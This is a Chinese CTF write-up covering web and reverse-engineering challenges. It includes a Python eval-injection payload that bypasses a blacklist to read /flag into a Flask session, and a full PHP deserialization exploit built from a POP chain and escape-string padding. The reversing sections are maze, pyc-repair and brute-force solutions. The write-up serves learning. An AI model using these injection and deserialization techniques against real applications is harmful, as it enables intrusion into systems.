安恒6月赛总结

前言

这次比赛出了三道web,两道逆向,一道逆向基本解出,算是近期来做的最不错的一次了。但是细细分析下来还有很多值得深究的地方。

web

简单的计算机1,2

这题说起来感觉就是黑名单没做好,实际上1,2可以用一个payload。考的是python代码注入,由于1,2均没有过滤exec,所以考虑用open加上read函数的组合读取文件内容,并通过exec将文件内容输入到session内,并带出,代码给的是1的,但是黑名单就写2 fuzz出来的结果好了。

关键代码如下(1的代码,2也差不多,用这个思路不影响):

1
2
3
4
5
6
7
8
9
10
11
12
calc_result = str((eval(input_question + "=" + str(input))))
if calc_result == 'True':
result = "Congratulations"
elif calc_result == 'False':
result = "Error"
else:
result = "Invalid"
except Error as e:
result = "Invalid"
print(e)

return render_template_string('answer='+result+' '+'question='+create_question)

随便试了下过滤了,read 函数,eval 函数,or 关键词。

发现and,exec没有过滤。exec中可以执行等式赋值,而session是flask的全局变量。考虑使用正确结果 and exec来读取文件,黑名单可以用字符拼接来过。

最后payload如下:

1
xxx and exec("""session["question"]=(op"""+"""en("/fl"""+"""ag").re"""+"""ad())""")

提交payload,最后解密cookie即可。

phpunt

这题其实是个网鼎杯加上4月月赛的套娃。

主要是用php反序列化中大写S的时候可以使用16进制替代字符的特性来绕过黑名单。

index.php

1
2
3
4
5
6
7
8
9
10
······
<?php
if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'] ;
$user = new User($username, $password);
$_SESSION['info'] = add(serialize($user));

redirect('info.php');
}

pop链非常明显,Hacker_A触发_destruct中,stristr触发Hacker_B的_toString,而$tmp最后触发Hacker_C的invoke方法。

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
class User
{
protected $username;
protected $password;
protected $admin;

public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
$this->admin = 0;
}

public function get_admin()
{
return $this->admin;
}
}


class Hacker_A
{
public $c2e38;

public function __construct($c2e38)
{
$this->c2e38 = $c2e38;
}
public function __destruct()
{
if (stristr($this->c2e38, "admin") === False) {
echo ("must be admin");
} else {
echo ("good luck");
}
}
}
class Hacker_B
{
public $c2e38;

public function __construct($c2e38)
{
$this->c2e38 = $c2e38;
}

public function get_c2e38()
{
return $this->c2e38;
}

public function __toString()
{
$tmp = $this->get_c2e38();
$tmp();
return 'test';
}
}

class Hacker_C
{
public $name = 'test';

public function __invoke()
{
var_dump(system('cat /flag'));
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//functions.pp
<?php
function add($data)
{
$data = str_replace(chr(0) . '*' . chr(0), '\0*\0', $data);
return $data;
}

function reduce($data)
{
$data = str_replace('\0*\0', chr(0) . '*' . chr(0), $data);
return $data;
}

function check($data)
{
if (stristr($data, 'c2e38') !== False) {
die('exit');
}
}

···
//info.php
//\\0*\\0到 chr(0).*.chr(0)可以吞掉两个字符。
check(reduce($_SESSION['info']));
$tmp = unserialize(reduce($_SESSION['info']));

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

class User
{
protected $username;
protected $password;
protected $admin;
}

class Hacker_A
{
public $c2e38;
}
class Hacker_B
{
public $c2e38;

public function __construct($c2e38)
{
$this->c2e38 = $c2e38;
}
}

class Hacker_C
{
public $name = 'test';
}


function add($data)
{
$data = str_replace(chr(0) . '*' . chr(0), '\0*\0', $data);
return $data;
}

function reduce($data)
{
$data = str_replace('\0*\0', chr(0) . '*' . chr(0), $data);
return $data;
}
$s2 = 'O:8:"Hacker_A":1:{S:5:"c2e3\38";O:8:"Hacker_B":1:{S:5:"c2e3\38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}}';
$padding = '\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0\\0*\\0\\0\\0*\\0';
$s1 = '11";s:11:"' . chr(0) . "*" . chr(0) . 'password";O:8:"Hacker_A":1:{S:5:"c2e3\38";O:8:"Hacker_B":1:{S:5:"c2e3\38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}}';
$u = new User($padding, $s1);
$u1 = serialize($u);
$u2 = reduce(add($u1));
echo urlencode($padding) . PHP_EOL;
echo urlencode($s1);

$padding 是username的输入,而$s1 作为password的输入,将原来的password覆盖为hacker对象。

image.png

跳转后

image.png

逆向

easymaze

白给的迷宫题,就进去之后把100大小的数组拷贝出来0代表路,O代表墙,hujk代表左,上,下,右即可。

从 左上角出发

0OOOO0000#

000OO0OOOO

OO0OO0000O

O00OOOOO0O

O0OOOO000O

O00OO00OOO

OO0OO0OOOO

OO0000OOOO

OOOOOOOOOO

OOOOOOOOOO

最后结果是 jkkjjhjjkjjkkkuukukkuuhhhuukkkk

MD5一下就是flag

pyc修复题

这题主要是改了下load constant变量那里的值,然后直接看opcode 写出原本代码来处理的。

这里主要参考了这几篇东西。
https://wiki.x10sec.org/misc/other/pyc/#pycdc

http://unpyc.sourceforge.net/Opcodes.html

https://github.com/python/cpython/blob/fc7df0e664198cb05cafd972f190a18ca422989c/Include/opcode.h#L69

首先简单地介绍下pyc的结构,

  1. 最开始4个字节是一个Maigc int, 标识此pyc的版本信息。
  2. 之后的4个字节代表了创建时间。
  3. 8个字节之后都是序列化的 PyCodeObject

使用了pycdas工具对python字节码进行反汇编,还原python opcode。

没有处理过的pyc文件第2条opcode有点问题

image.png

修复字节0020h的4,5字节全部改为0即可

image.png

依次还原py代码

1
2
3
4
5
6
7
8
9
10
11
12
import base64
a = 'YamaNalaZaTacaxaZaDahajaYamaIa0aNaDaUa3aYajaUawaNaWaNajaMajaUawaNWI3M2NhMGM='
flag = raw_input('Are u ready?')
c = base64.b64encode(flag)
# 有问题
d = list(c)

for i in range(0, 32):
d[i] = d[i]+'a'
ohh = ''.join(d)
if ohh == a:
print('yes')

很显然,flag是一段被混淆的base64,只需要将前32位中的偶数位的a全部删除就是原本的base64

magia

ida f5 核心逻辑如下:

image.png

有三个数组,来验证输入。

归纳一下,输入是个32位的字符串,输入要满足三个条件:

  1. input[i]^input[31-i]==a1[i]
  2. input[i]&input[31-i]==a2[i]
  3. input[i]&0xF==a3[i]

然后最后结果又要是

Nep{xxx}这样的形式

image.png

然后无脑地写了个爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import string
import itertools
a1 = [51, 0, 21, 9, 11, 54, 6, 12, 2, 58, 44, 8, 49, 11, 55, 12]
a2 = [76, 101, 96, 114, 100, 73, 112, 99, 108, 69, 83, 97, 78, 100, 72, 97]
a3 = [14, 5, 0, 11, 13, 9, 2, 3, 12, 5, 15, 1, 14, 4, 15, 13,
1, 8, 15, 15, 9, 3, 15, 14, 15, 4, 15, 6, 2, 5, 5, 13]

asciis = string.ascii_letters+'0123456789'+'_'
guess_d = {}
for num in range(0, 32):
temp_list = list()
if num not in guess_d:
guess_d[num] = temp_list
for i in range(0, 128):
temp_list.append(i)

finall_result = [0]*32
finall_result_map = {}
for i in range(0, 16):
temp_list1 = guess_d[i]
temp_list2 = guess_d[31-i]
temp_list3 = []
temp_list4 = []
for t1 in temp_list1:
for t2 in temp_list2:
if ((t1 ^ t2) == a1[i] and (t1 & t2) == a2[i] and t1 & 0xF == a3[i] and t2 & 0xF == a3[31-i]):
print('第'+str(i)+'位', ' ', chr(t1), ' ', chr(t2))
if i not in finall_result_map.keys() or (31-i) not in finall_result_map.keys():
finall_result_map[i] = temp_list3
finall_result_map[(31-i)] = temp_list4
temp_list3.append(int(t1))
temp_list4.append(int(t2))
finall_result[i] = int(t1)

finall_result[31-i] = int(t2)

f1 = []

finall_strs = []
for i in sorted(finall_result_map.keys()):
f1.append(finall_result_map[i])

for i1 in range(len(f1[0])):
for i2 in range(len(f1[2])):
for i3 in range(len(f1[5])):
for i4 in range(len(f1[9])):
for i5 in range(len(f1[10])):
for i6 in range(len(f1[12])):
for i7 in range(len(f1[14])):
finall_result[0] = f1[0][i1]
finall_result[31] = f1[31][i1]

finall_result[2] = f1[2][i2]
finall_result[29] = f1[29][i2]

finall_result[5] = f1[5][i3]
finall_result[26] = f1[26][i3]

finall_result[9] = f1[9][i4]
finall_result[22] = f1[22][i4]

finall_result[10] = f1[10][i5]
finall_result[21] = f1[21][i5]

finall_result[12] = f1[12][i6]
finall_result[19] = f1[19][i6]

finall_result[14] = f1[14][i7]
finall_result[17] = f1[17][i7]

finall_strs.append(finall_result.copy())


# print(finall_strs)
# exit(1)
# print(f1)
# print(bytes(finall_result))
for j in finall_strs:
finall_result = j
v6 = 0
for i in range(31, 0, -1):
if v6 >= i:
break
if((finall_result[i] ^ finall_result[v6]) != a1[v6]):
break
if((finall_result[i] & finall_result[v6]) != a2[v6]):
break
if(finall_result[i] & 0xF != a3[i] or finall_result[v6] & 0xF != a3[v6]):
break
v6 += 1
str1 = bytes(finall_result).decode()
if(str1.startswith('Nep{') and str1.endswith('}')):
print(str1)

# Nep{mircle_and_maho_is_not_free}
# 找看起来最相似的那个

最后还要进sub_403000()才能出结果。然而比赛结束了,,,就这样吧。

总结

从解题情况来看,主要的收获还是在学到了下解pyc题的皮毛上,web的几个题都是旧题目的套娃,没啥意思,有意思的4个题都想歪到哪里去都不知道了。有空复现下easyflask和filecheck吧。